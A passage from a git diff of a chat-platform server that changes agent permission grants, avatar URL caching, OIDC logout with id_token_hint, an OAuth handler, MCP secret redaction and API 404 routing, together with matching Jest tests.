+ frequency_penalty: 0,
+ top_logprobs: null,
+ reasoning: null,
+ user: userId,
+ usage: lastAssistantMessage?.tokenCount
+ ? {
+ input_tokens: 0,
+ output_tokens: lastAssistantMessage.tokenCount,
+ total_tokens: lastAssistantMessage.tokenCount,
+ }
+ : null,
+ max_output_tokens: null,
+ max_tool_calls: null,
+ store: true,
+ background: false,
+ service_tier: 'default',
+ metadata: {},
+ safety_identifier: null,
+ prompt_cache_key: null,
+ };
+
+ res.json(response);
+ } catch (error) {
+ logger.error('[Responses API] Error getting response:', error);
+ sendResponsesErrorResponse(
+ res,
+ 500,
+ error instanceof Error ? error.message : 'Failed to get response',
+ 'server_error',
+ );
+ }
+};
+
+module.exports = {
+ createResponse,
+ getResponse,
+ listModels,
+ setAppConfig,
+};
diff --git a/api/server/controllers/agents/v1.js b/api/server/controllers/agents/v1.js
index 9f0a4a2279..a2c0d55186 100644
--- a/api/server/controllers/agents/v1.js
+++ b/api/server/controllers/agents/v1.js
@@ -11,7 +11,9 @@ const {
convertOcrToContextInPlace,
} = require('@librechat/api');
const {
+ Time,
Tools,
+ CacheKeys,
Constants,
FileSources,
ResourceType,
@@ -21,8 +23,6 @@ const {
PermissionBits,
actionDelimiter,
removeNullishValues,
- CacheKeys,
- Time,
} = require('librechat-data-provider');
const {
getListAgentsByAccess,
@@ -94,16 +94,25 @@ const createAgentHandler = async (req, res) => {
const agent = await createAgent(agentData);
- // Automatically grant owner permissions to the creator
try {
- await grantPermission({
- principalType: PrincipalType.USER,
- principalId: userId,
- resourceType: ResourceType.AGENT,
- resourceId: agent._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: userId,
- });
+ await Promise.all([
+ grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: userId,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.AGENT_OWNER,
+ grantedBy: userId,
+ }),
+ grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: userId,
+ resourceType: ResourceType.REMOTE_AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER,
+ grantedBy: userId,
+ }),
+ ]);
logger.debug(
`[createAgent] Granted owner permissions to user ${userId} for agent ${agent.id}`,
);
@@ -396,16 +405,25 @@ const duplicateAgentHandler = async (req, res) => {
newAgentData.actions = agentActions;
const newAgent = await createAgent(newAgentData);
- // Automatically grant owner permissions to the duplicator
try {
- await grantPermission({
- principalType: PrincipalType.USER,
- principalId: userId,
- resourceType: ResourceType.AGENT,
- resourceId: newAgent._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: userId,
- });
+ await Promise.all([
+ grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: userId,
+ resourceType: ResourceType.AGENT,
+ resourceId: newAgent._id,
+ accessRoleId: AccessRoleIds.AGENT_OWNER,
+ grantedBy: userId,
+ }),
+ grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: userId,
+ resourceType: ResourceType.REMOTE_AGENT,
+ resourceId: newAgent._id,
+ accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER,
+ grantedBy: userId,
+ }),
+ ]);
logger.debug(
`[duplicateAgent] Granted owner permissions to user ${userId} for duplicated agent ${newAgent.id}`,
);
@@ -512,10 +530,10 @@ const getListAgentsHandler = async (req, res) => {
*/
const cache = getLogStores(CacheKeys.S3_EXPIRY_INTERVAL);
const refreshKey = `${userId}:agents_avatar_refresh`;
- const alreadyChecked = await cache.get(refreshKey);
- if (alreadyChecked) {
- logger.debug('[/Agents] S3 avatar refresh already checked, skipping');
- } else {
+ let cachedRefresh = await cache.get(refreshKey);
+ const isValidCachedRefresh =
+ cachedRefresh != null && typeof cachedRefresh === 'object' && cachedRefresh.urlCache != null;
+ if (!isValidCachedRefresh) {
try {
const fullList = await getListAgentsByAccess({
accessibleIds,
@@ -523,16 +541,19 @@ const getListAgentsHandler = async (req, res) => {
limit: MAX_AVATAR_REFRESH_AGENTS,
after: null,
});
- await refreshListAvatars({
+ const { urlCache } = await refreshListAvatars({
agents: fullList?.data ?? [],
userId,
refreshS3Url,
updateAgent,
});
- await cache.set(refreshKey, true, Time.THIRTY_MINUTES);
+ cachedRefresh = { urlCache };
+ await cache.set(refreshKey, cachedRefresh, Time.THIRTY_MINUTES);
} catch (err) {
logger.error('[/Agents] Error refreshing avatars for full list: %o', err);
}
+ } else {
+ logger.debug('[/Agents] S3 avatar refresh already checked, skipping');
}
// Use the new ACL-aware function
@@ -550,11 +571,20 @@ const getListAgentsHandler = async (req, res) => {
const publicSet = new Set(publiclyAccessibleIds.map((oid) => oid.toString()));
+ const urlCache = cachedRefresh?.urlCache;
data.data = agents.map((agent) => {
try {
if (agent?._id && publicSet.has(agent._id.toString())) {
agent.isPublic = true;
}
+ if (
+ urlCache &&
+ agent?.id &&
+ agent?.avatar?.source === FileSources.s3 &&
+ urlCache[agent.id]
+ ) {
+ agent.avatar = { ...agent.avatar, filepath: urlCache[agent.id] };
+ }
} catch (e) {
// Silently ignore mapping errors
void e;
@@ -640,6 +670,14 @@ const uploadAgentAvatarHandler = async (req, res) => {
const updatedAgent = await updateAgent({ id: agent_id }, data, {
updatingUserId: req.user.id,
});
+
+ try {
+ const avatarCache = getLogStores(CacheKeys.S3_EXPIRY_INTERVAL);
+ await avatarCache.delete(`${req.user.id}:agents_avatar_refresh`);
+ } catch (cacheErr) {
+ logger.error('[/:agent_id/avatar] Error invalidating avatar refresh cache', cacheErr);
+ }
+
res.status(201).json(updatedAgent);
} catch (error) {
const message = 'An error occurred while updating the Agent Avatar';
diff --git a/api/server/controllers/agents/v1.spec.js b/api/server/controllers/agents/v1.spec.js
index 8b2a57d903..ce68cc241f 100644
--- a/api/server/controllers/agents/v1.spec.js
+++ b/api/server/controllers/agents/v1.spec.js
@@ -59,6 +59,7 @@ jest.mock('~/models', () => ({
const mockCache = {
get: jest.fn(),
set: jest.fn(),
+ delete: jest.fn(),
};
jest.mock('~/cache', () => ({
getLogStores: jest.fn(() => mockCache),
@@ -1309,7 +1310,7 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
});
test('should skip avatar refresh if cache hit', async () => {
- mockCache.get.mockResolvedValue(true);
+ mockCache.get.mockResolvedValue({ urlCache: {} });
findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
findPubliclyAccessibleResources.mockResolvedValue([]);
@@ -1348,8 +1349,12 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
// Verify S3 URL was refreshed
expect(refreshS3Url).toHaveBeenCalled();
- // Verify cache was set
- expect(mockCache.set).toHaveBeenCalled();
+ // Verify cache was set with urlCache map, not a plain boolean
+ expect(mockCache.set).toHaveBeenCalledWith(
+ expect.any(String),
+ expect.objectContaining({ urlCache: expect.any(Object) }),
+ expect.any(Number),
+ );
// Verify response was returned
expect(mockRes.json).toHaveBeenCalled();
@@ -1563,5 +1568,83 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
// Verify that the handler completed successfully
expect(mockRes.json).toHaveBeenCalled();
});
+
+ test('should treat legacy boolean cache entry as a miss and run refresh', async () => {
+ // Simulate a cache entry written by the pre-fix code
+ mockCache.get.mockResolvedValue(true);
+ findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
+ findPubliclyAccessibleResources.mockResolvedValue([]);
+ refreshS3Url.mockResolvedValue('new-s3-path.jpg');
+
+ const mockReq = {
+ user: { id: userA.toString(), role: 'USER' },
+ query: {},
+ };
+ const mockRes = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnThis(),
+ };
+
+ await getListAgentsHandler(mockReq, mockRes);
+
+ // Boolean true fails the shape guard, so refresh must run
+ expect(refreshS3Url).toHaveBeenCalled();
+ // Cache is overwritten with the proper format
+ expect(mockCache.set).toHaveBeenCalledWith(
+ expect.any(String),
+ expect.objectContaining({ urlCache: expect.any(Object) }),
+ expect.any(Number),
+ );
+ });
+
+ test('should apply cached urlCache filepath to paginated response on cache hit', async () => {
+ const agentId = agentWithS3Avatar.id;
+ const cachedUrl = 'cached-presigned-url.jpg';
+
+ mockCache.get.mockResolvedValue({ urlCache: { [agentId]: cachedUrl } });
+ findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
+ findPubliclyAccessibleResources.mockResolvedValue([]);
+
+ const mockReq = {
+ user: { id: userA.toString(), role: 'USER' },
+ query: {},
+ };
+ const mockRes = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnThis(),
+ };
+
+ await getListAgentsHandler(mockReq, mockRes);
+
+ expect(refreshS3Url).not.toHaveBeenCalled();
+
+ const responseData = mockRes.json.mock.calls[0][0];
+ const agent = responseData.data.find((a) => a.id === agentId);
+ // Cached URL is served, not the stale DB value 'old-s3-path.jpg'
+ expect(agent.avatar.filepath).toBe(cachedUrl);
+ });
+
+ test('should preserve DB filepath for agents absent from urlCache on cache hit', async () => {
+ mockCache.get.mockResolvedValue({ urlCache: {} });
+ findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
+ findPubliclyAccessibleResources.mockResolvedValue([]);
+
+ const mockReq = {
+ user: { id: userA.toString(), role: 'USER' },
+ query: {},
+ };
+ const mockRes = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnThis(),
+ };
+
+ await getListAgentsHandler(mockReq, mockRes);
+
+ expect(refreshS3Url).not.toHaveBeenCalled();
+
+ const responseData = mockRes.json.mock.calls[0][0];
+ const agent = responseData.data.find((a) => a.id === agentWithS3Avatar.id);
+ expect(agent.avatar.filepath).toBe('old-s3-path.jpg');
+ });
});
});
diff --git a/api/server/controllers/auth/LogoutController.js b/api/server/controllers/auth/LogoutController.js
index ec66316285..039ed630c2 100644
--- a/api/server/controllers/auth/LogoutController.js
+++ b/api/server/controllers/auth/LogoutController.js
@@ -8,13 +8,16 @@ const logoutController = async (req, res) => {
const parsedCookies = req.headers.cookie ? cookies.parse(req.headers.cookie) : {};
const isOpenIdUser = req.user?.openidId != null && req.user?.provider === 'openid';
- /** For OpenID users, read refresh token from session; for others, use cookie */
+ /** For OpenID users, read tokens from session (with cookie fallback) */
let refreshToken;
+ let idToken;
if (isOpenIdUser && req.session?.openidTokens) {
refreshToken = req.session.openidTokens.refreshToken;
+ idToken = req.session.openidTokens.idToken;
delete req.session.openidTokens;
}
refreshToken = refreshToken || parsedCookies.refreshToken;
+ idToken = idToken || parsedCookies.openid_id_token;
try {
const logout = await logoutUser(req, refreshToken);
@@ -22,6 +25,7 @@ const logoutController = async (req, res) => {
res.clearCookie('refreshToken');
res.clearCookie('openid_access_token');
+ res.clearCookie('openid_id_token');
res.clearCookie('openid_user_id');
res.clearCookie('token_provider');
const response = { message };
@@ -30,21 +34,34 @@ const logoutController = async (req, res) => {
isEnabled(process.env.OPENID_USE_END_SESSION_ENDPOINT) &&
process.env.OPENID_ISSUER
) {
- const openIdConfig = getOpenIdConfig();
- if (!openIdConfig) {
- logger.warn(
- '[logoutController] OpenID config not found. Please verify that the open id configuration and initialization are correct.',
- );
- } else {
- const endSessionEndpoint = openIdConfig
- ? openIdConfig.serverMetadata().end_session_endpoint
- : null;
+ let openIdConfig;
+ try {
+ openIdConfig = getOpenIdConfig();
+ } catch (err) {
+ logger.warn('[logoutController] OpenID config not available:', err.message);
+ }
+ if (openIdConfig) {
+ const endSessionEndpoint = openIdConfig.serverMetadata().end_session_endpoint;
if (endSessionEndpoint) {
const endSessionUrl = new URL(endSessionEndpoint);
/** Redirect back to app's login page after IdP logout */
const postLogoutRedirectUri =
process.env.OPENID_POST_LOGOUT_REDIRECT_URI || `${process.env.DOMAIN_CLIENT}/login`;
endSessionUrl.searchParams.set('post_logout_redirect_uri', postLogoutRedirectUri);
+
+ /** Add id_token_hint (preferred) or client_id for OIDC spec compliance */
+ if (idToken) {
+ endSessionUrl.searchParams.set('id_token_hint', idToken);
+ } else if (process.env.OPENID_CLIENT_ID) {
+ endSessionUrl.searchParams.set('client_id', process.env.OPENID_CLIENT_ID);
+ } else {
+ logger.warn(
+ '[logoutController] Neither id_token_hint nor OPENID_CLIENT_ID is available. ' +
+ 'To enable id_token_hint, set OPENID_REUSE_TOKENS=true. ' +
+ 'The OIDC end-session request may be rejected by the identity provider.',
+ );
+ }
+
response.redirect = endSessionUrl.toString();
} else {
logger.warn(
diff --git a/api/server/controllers/auth/LogoutController.spec.js b/api/server/controllers/auth/LogoutController.spec.js
new file mode 100644
index 0000000000..3f2a2de8e1
--- /dev/null
+++ b/api/server/controllers/auth/LogoutController.spec.js
@@ -0,0 +1,259 @@
+const cookies = require('cookie');
+
+const mockLogoutUser = jest.fn();
+const mockLogger = { warn: jest.fn(), error: jest.fn() };
+const mockIsEnabled = jest.fn();
+const mockGetOpenIdConfig = jest.fn();
+
+jest.mock('cookie');
+jest.mock('@librechat/api', () => ({ isEnabled: (...args) => mockIsEnabled(...args) }));
+jest.mock('@librechat/data-schemas', () => ({ logger: mockLogger }));
+jest.mock('~/server/services/AuthService', () => ({
+ logoutUser: (...args) => mockLogoutUser(...args),
+}));
+jest.mock('~/strategies', () => ({ getOpenIdConfig: () => mockGetOpenIdConfig() }));
+
+const { logoutController } = require('./LogoutController');
+
+function buildReq(overrides = {}) {
+ return {
+ user: { _id: 'user1', openidId: 'oid1', provider: 'openid' },
+ headers: { cookie: 'refreshToken=rt1' },
+ session: {
+ openidTokens: { refreshToken: 'srt', idToken: 'small-id-token' },
+ destroy: jest.fn(),
+ },
+ ...overrides,
+ };
+}
+
+function buildRes() {
+ const res = {
+ status: jest.fn().mockReturnThis(),
+ send: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnThis(),
+ clearCookie: jest.fn(),
+ };
+ return res;
+}
+
+const ORIGINAL_ENV = process.env;
+
+beforeEach(() => {
+ jest.clearAllMocks();
+ process.env = {
+ ...ORIGINAL_ENV,
+ OPENID_USE_END_SESSION_ENDPOINT: 'true',
+ OPENID_ISSUER: 'https://idp.example.com',
+ OPENID_CLIENT_ID: 'my-client-id',
+ DOMAIN_CLIENT: 'https://app.example.com',
+ };
+ cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
+ mockLogoutUser.mockResolvedValue({ status: 200, message: 'Logout successful' });
+ mockIsEnabled.mockReturnValue(true);
+ mockGetOpenIdConfig.mockReturnValue({
+ serverMetadata: () => ({
+ end_session_endpoint: 'https://idp.example.com/logout',
+ }),
+ });
+});
+
+afterAll(() => {
+ process.env = ORIGINAL_ENV;
+});
+
+describe('LogoutController', () => {
+ describe('id_token_hint from session', () => {
+ it('sets id_token_hint when session has idToken', async () => {
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toContain('id_token_hint=small-id-token');
+ expect(body.redirect).not.toContain('client_id=');
+ });
+ });
+
+ describe('id_token_hint from cookie fallback', () => {
+ it('uses cookie id_token when session has no tokens', async () => {
+ cookies.parse.mockReturnValue({
+ refreshToken: 'cookie-rt',
+ openid_id_token: 'cookie-id-token',
+ });
+ const req = buildReq({ session: { destroy: jest.fn() } });
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toContain('id_token_hint=cookie-id-token');
+ });
+ });
+
+ describe('client_id fallback', () => {
+ it('falls back to client_id when no idToken is available', async () => {
+ cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
+ const req = buildReq({ session: { destroy: jest.fn() } });
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toContain('client_id=my-client-id');
+ expect(body.redirect).not.toContain('id_token_hint=');
+ });
+
+ it('does not produce client_id=undefined when OPENID_CLIENT_ID is unset', async () => {
+ delete process.env.OPENID_CLIENT_ID;
+ cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
+ const req = buildReq({ session: { destroy: jest.fn() } });
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).not.toContain('client_id=');
+ expect(body.redirect).not.toContain('undefined');
+ expect(mockLogger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('Neither id_token_hint nor OPENID_CLIENT_ID'),
+ );
+ });
+ });
+
+ describe('OPENID_USE_END_SESSION_ENDPOINT disabled', () => {
+ it('does not include redirect when disabled', async () => {
+ mockIsEnabled.mockReturnValue(false);
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toBeUndefined();
+ });
+ });
+
+ describe('OPENID_ISSUER unset', () => {
+ it('does not include redirect when OPENID_ISSUER is missing', async () => {
+ delete process.env.OPENID_ISSUER;
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toBeUndefined();
+ });
+ });
+
+ describe('non-OpenID user', () => {
+ it('does not include redirect for non-OpenID users', async () => {
+ const req = buildReq({
+ user: { _id: 'user1', provider: 'local' },
+ });
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toBeUndefined();
+ });
+ });
+
+ describe('post_logout_redirect_uri', () => {
+ it('uses OPENID_POST_LOGOUT_REDIRECT_URI when set', async () => {
+ process.env.OPENID_POST_LOGOUT_REDIRECT_URI = 'https://custom.example.com/logged-out';
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ const url = new URL(body.redirect);
+ expect(url.searchParams.get('post_logout_redirect_uri')).toBe(
+ 'https://custom.example.com/logged-out',
+ );
+ });
+
+ it('defaults to DOMAIN_CLIENT/login when OPENID_POST_LOGOUT_REDIRECT_URI is unset', async () => {
+ delete process.env.OPENID_POST_LOGOUT_REDIRECT_URI;
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ const url = new URL(body.redirect);
+ expect(url.searchParams.get('post_logout_redirect_uri')).toBe(
+ 'https://app.example.com/login',
+ );
+ });
+ });
+
+ describe('OpenID config not available', () => {
+ it('warns and returns no redirect when getOpenIdConfig throws', async () => {
+ mockGetOpenIdConfig.mockImplementation(() => {
+ throw new Error('OpenID configuration has not been initialized');
+ });
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toBeUndefined();
+ expect(mockLogger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('OpenID config not available'),
+ 'OpenID configuration has not been initialized',
+ );
+ });
+ });
+
+ describe('end_session_endpoint not in metadata', () => {
+ it('warns and returns no redirect when end_session_endpoint is missing', async () => {
+ mockGetOpenIdConfig.mockReturnValue({
+ serverMetadata: () => ({}),
+ });
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toBeUndefined();
+ expect(mockLogger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('end_session_endpoint not found'),
+ );
+ });
+ });
+
+ describe('error handling', () => {
+ it('returns 500 on logoutUser error', async () => {
+ mockLogoutUser.mockRejectedValue(new Error('session error'));
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(500);
+ expect(res.json).toHaveBeenCalledWith({ message: 'session error' });
+ });
+ });
+
+ describe('cookie clearing', () => {
+ it('clears all auth cookies on successful logout', async () => {
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ expect(res.clearCookie).toHaveBeenCalledWith('refreshToken');
+ expect(res.clearCookie).toHaveBeenCalledWith('openid_access_token');
+ expect(res.clearCookie).toHaveBeenCalledWith('openid_id_token');
+ expect(res.clearCookie).toHaveBeenCalledWith('openid_user_id');
+ expect(res.clearCookie).toHaveBeenCalledWith('token_provider');
+ });
+ });
+});
diff --git a/api/server/controllers/auth/oauth.js b/api/server/controllers/auth/oauth.js
new file mode 100644
index 0000000000..80c2ced002
--- /dev/null
+++ b/api/server/controllers/auth/oauth.js
@@ -0,0 +1,79 @@
+const { CacheKeys } = require('librechat-data-provider');
+const { logger, DEFAULT_SESSION_EXPIRY } = require('@librechat/data-schemas');
+const {
+ isEnabled,
+ getAdminPanelUrl,
+ isAdminPanelRedirect,
+ generateAdminExchangeCode,
+} = require('@librechat/api');
+const { syncUserEntraGroupMemberships } = require('~/server/services/PermissionService');
+const { setAuthTokens, setOpenIDAuthTokens } = require('~/server/services/AuthService');
+const getLogStores = require('~/cache/getLogStores');
+const { checkBan } = require('~/server/middleware');
+const { generateToken } = require('~/models');
+
+const domains = {
+ client: process.env.DOMAIN_CLIENT,
+ server: process.env.DOMAIN_SERVER,
+};
+
+function createOAuthHandler(redirectUri = domains.client) {
+ /**
+ * A handler to process OAuth authentication results.
+ * @type {Function}
+ * @param {ServerRequest} req - Express request object.
+ * @param {ServerResponse} res - Express response object.
+ * @param {NextFunction} next - Express next middleware function.
+ */
+ return async (req, res, next) => {
+ try {
+ if (res.headersSent) {
+ return;
+ }
+
+ await checkBan(req, res);
+ if (req.banned) {
+ return;
+ }
+
+ /** Check if this is an admin panel redirect (cross-origin) */
+ if (isAdminPanelRedirect(redirectUri, getAdminPanelUrl(), domains.client)) {
+ /** For admin panel, generate exchange code instead of setting cookies */
+ const cache = getLogStores(CacheKeys.ADMIN_OAUTH_EXCHANGE);
+ const sessionExpiry = Number(process.env.SESSION_EXPIRY) || DEFAULT_SESSION_EXPIRY;
+ const token = await generateToken(req.user, sessionExpiry);
+
+ /** Get refresh token from tokenset for OpenID users */
+ const refreshToken =
+ req.user.tokenset?.refresh_token || req.user.federatedTokens?.refresh_token;
+
+ const exchangeCode = await generateAdminExchangeCode(cache, req.user, token, refreshToken);
+
+ const callbackUrl = new URL(redirectUri);
+ callbackUrl.searchParams.set('code', exchangeCode);
+ logger.info(`[OAuth] Admin panel redirect with exchange code for user: ${req.user.email}`);
+ return res.redirect(callbackUrl.toString());
+ }
+
+ /** Standard OAuth flow - set cookies and redirect */
+ if (
+ req.user &&
+ req.user.provider == 'openid' &&
+ isEnabled(process.env.OPENID_REUSE_TOKENS) === true
+ ) {
+ await syncUserEntraGroupMemberships(req.user, req.user.tokenset.access_token);
+ setOpenIDAuthTokens(req.user.tokenset, req, res, req.user._id.toString());
+ } else {
+ await setAuthTokens(req.user._id, res);
+ }
+ res.redirect(redirectUri);
+ } catch (err) {
+ logger.error('Error in setting authentication tokens:', err);
+ next(err);
+ }
+ };
+}
+
+module.exports = {
+ createOAuthHandler,
+};
diff --git a/api/server/controllers/mcp.js b/api/server/controllers/mcp.js
index e5dfff61ca..729f01da9d 100644
--- a/api/server/controllers/mcp.js
+++ b/api/server/controllers/mcp.js
@@ -7,9 +7,11 @@
*/
const { logger } = require('@librechat/data-schemas');
const {
+ MCPErrorCodes,
+ redactServerSecrets,
+ redactAllServerSecrets,
isMCPDomainNotAllowedError,
isMCPInspectionFailedError,
- MCPErrorCodes,
} = require('@librechat/api');
const { Constants, MCPServerUserInputSchema } = require('librechat-data-provider');
const { cacheMCPServerTools, getMCPServerTools } = require('~/server/services/Config');
@@ -181,10 +183,8 @@ const getMCPServersList = async (req, res) => {
return res.status(401).json({ message: 'Unauthorized' });
}
- // 2. Get all server configs from registry (YAML + DB)
const serverConfigs = await getMCPServersRegistry().getAllServerConfigs(userId);
-
- return res.json(serverConfigs);
+ return res.json(redactAllServerSecrets(serverConfigs));
} catch (error) {
logger.error('[getMCPServersList]', error);
res.status(500).json({ error: error.message });
@@ -215,7 +215,7 @@ const createMCPServerController = async (req, res) => {
);
res.status(201).json({
serverName: result.serverName,
- ...result.config,
+ ...redactServerSecrets(result.config),
});
} catch (error) {
logger.error('[createMCPServer]', error);
@@ -243,7 +243,7 @@ const getMCPServerById = async (req, res) => {
return res.status(404).json({ message: 'MCP server not found' });
}
- res.status(200).json(parsedConfig);
+ res.status(200).json(redactServerSecrets(parsedConfig));
} catch (error) {
logger.error('[getMCPServerById]', error);
res.status(500).json({ message: error.message });
@@ -274,7 +274,7 @@ const updateMCPServerController = async (req, res) => {
userId,
);
- res.status(200).json(parsedConfig);
+ res.status(200).json(redactServerSecrets(parsedConfig));
} catch (error) {
logger.error('[updateMCPServer]', error);
const mcpErrorResponse = handleMCPError(error, res);
diff --git a/api/server/experimental.js b/api/server/experimental.js
index 91ef9ef286..7b60ad7fd2 100644
--- a/api/server/experimental.js
+++ b/api/server/experimental.js
@@ -14,6 +14,7 @@ const { logger } = require('@librechat/data-schemas');
const mongoSanitize = require('express-mongo-sanitize');
const {
isEnabled,
+ apiNotFound,
ErrorController,
performStartupChecks,
handleJsonParseError,
@@ -297,8 +298,10 @@ if (cluster.isMaster) {
/** Routes */
app.use('/oauth', routes.oauth);
app.use('/api/auth', routes.auth);
+ app.use('/api/admin', routes.adminAuth);
app.use('/api/actions', routes.actions);
app.use('/api/keys', routes.keys);
+ app.use('/api/api-keys', routes.apiKeys);
app.use('/api/user', routes.user);
app.use('/api/search', routes.search);
app.use('/api/messages', routes.messages);
@@ -309,7 +312,6 @@ if (cluster.isMaster) {
app.use('/api/endpoints', routes.endpoints);
app.use('/api/balance', routes.balance);
app.use('/api/models', routes.models);
- app.use('/api/plugins', routes.plugins);
app.use('/api/config', routes.config);
app.use('/api/assistants', routes.assistants);
app.use('/api/files', await routes.files.initialize());
@@ -323,8 +325,8 @@ if (cluster.isMaster) {
app.use('/api/tags', routes.tags);
app.use('/api/mcp', routes.mcp);
- /** Error handler */
- app.use(ErrorController);
+ /** 404 for unmatched API routes */
+ app.use('/api', apiNotFound);
/** SPA fallback - serve index.html for all unmatched routes */
app.use((req, res) => {
@@ -342,6 +344,9 @@ if (cluster.isMaster) {
res.send(updatedIndexHtml);
});
+ /** Error handler (must be last - Express identifies error middleware by its 4-arg signature) */
+ app.use(ErrorController);
+
/** Start listening on shared port (cluster will distribute connections) */
app.listen(port, host, async (err) => {
if (err) {
diff --git a/api/server/index.js b/api/server/index.js
index a7ddd47f37..f034f10236 100644
--- a/api/server/index.js
+++ b/api/server/index.js
@@ -12,12 +12,14 @@ const { logger } = require('@librechat/data-schemas');
const mongoSanitize = require('express-mongo-sanitize');
const {
isEnabled,
+ apiNotFound,
ErrorController,
+ memoryDiagnostics,
performStartupChecks,
handleJsonParseError,
- initializeFileStorage,
GenerationJobManager,
createStreamServices,
+ initializeFileStorage,
} = require('@librechat/api');
const { connectDb, indexSync } = require('~/db');
const initializeOAuthReconnectManager = require('./services/initializeOAuthReconnectManager');
@@ -134,8 +136,10 @@ const startServer = async () => {
app.use('/oauth', routes.oauth);
/* API Endpoints */
app.use('/api/auth', routes.auth);
+ app.use('/api/admin', routes.adminAuth);
app.use('/api/actions', routes.actions);
app.use('/api/keys', routes.keys);
+ app.use('/api/api-keys', routes.apiKeys);
app.use('/api/user', routes.user);
app.use('/api/search', routes.search);
app.use('/api/messages', routes.messages);
@@ -160,8 +164,10 @@ const startServer = async () => {
app.use('/api/tags', routes.tags);
app.use('/api/mcp', routes.mcp);
- app.use(ErrorController);
+ /** 404 for unmatched API routes */
+ app.use('/api', apiNotFound);
+ /** SPA fallback - serve index.html for all unmatched routes */
app.use((req, res) => {
res.set({
'Cache-Control': process.env.INDEX_CACHE_CONTROL || 'no-cache, no-store, must-revalidate',
@@ -177,6 +183,9 @@ const startServer = async () => {
res.send(updatedIndexHtml);
});
+ /** Error handler (must be last - Express identifies error middleware by its 4-arg signature) */
+ app.use(ErrorController);
+
app.listen(port, host, async (err) => {
if (err) {
logger.error('Failed to start server:', err);
@@ -199,6 +208,11 @@ const startServer = async () => {
const streamServices = createStreamServices();
GenerationJobManager.configure(streamServices);
GenerationJobManager.initialize();
+
+ const inspectFlags = process.execArgv.some((arg) => arg.startsWith('--inspect'));
+ if (inspectFlags || isEnabled(process.env.MEM_DIAG)) {
+ memoryDiagnostics.start();
+ }
});
};
@@ -249,6 +263,15 @@ process.on('uncaughtException', (err) => {
return;
}
+ if (isEnabled(process.env.CONTINUE_ON_UNCAUGHT_EXCEPTION)) {
+ logger.error('Unhandled error encountered. The app will continue running.', {
+ name: err?.name,
+ message: err?.message,
+ stack: err?.stack,
+ });
+ return;
+ }
+
process.exit(1);
});
diff --git a/api/server/index.spec.js b/api/server/index.spec.js
index c73c605518..7b3d062fce 100644
--- a/api/server/index.spec.js
+++ b/api/server/index.spec.js
@@ -100,6 +100,40 @@ describe('Server Configuration', () => {
expect(response.headers['expires']).toBe('0');
});
+ it('should return 404 JSON for undefined API routes', async () => {
+ const response = await request(app).get('/api/nonexistent');
+ expect(response.status).toBe(404);
+ expect(response.body).toEqual({ message: 'Endpoint not found' });
+ });
+
+ it('should return 404 JSON for nested undefined API routes', async () => {
+ const response = await request(app).get('/api/nonexistent/nested/path');
+ expect(response.status).toBe(404);
+ expect(response.body).toEqual({ message: 'Endpoint not found' });
+ });
+
+ it('should return 404 JSON for non-GET methods on undefined API routes', async () => {
+ const post = await request(app).post('/api/nonexistent');
+ expect(post.status).toBe(404);
+ expect(post.body).toEqual({ message: 'Endpoint not found' });
+
+ const del = await request(app).delete('/api/nonexistent');
+ expect(del.status).toBe(404);
+ expect(del.body).toEqual({ message: 'Endpoint not found' });
+ });
+
+ it('should return 404 JSON for the /api root path', async () => {
+ const response = await request(app).get('/api');
+ expect(response.status).toBe(404);
+ expect(response.body).toEqual({ message: 'Endpoint not found' });
+ });
+
+ it('should serve SPA HTML for non-API unmatched routes', async () => {
+ const response = await request(app).get('/this/does/not/exist');
+ expect(response.status).toBe(200);
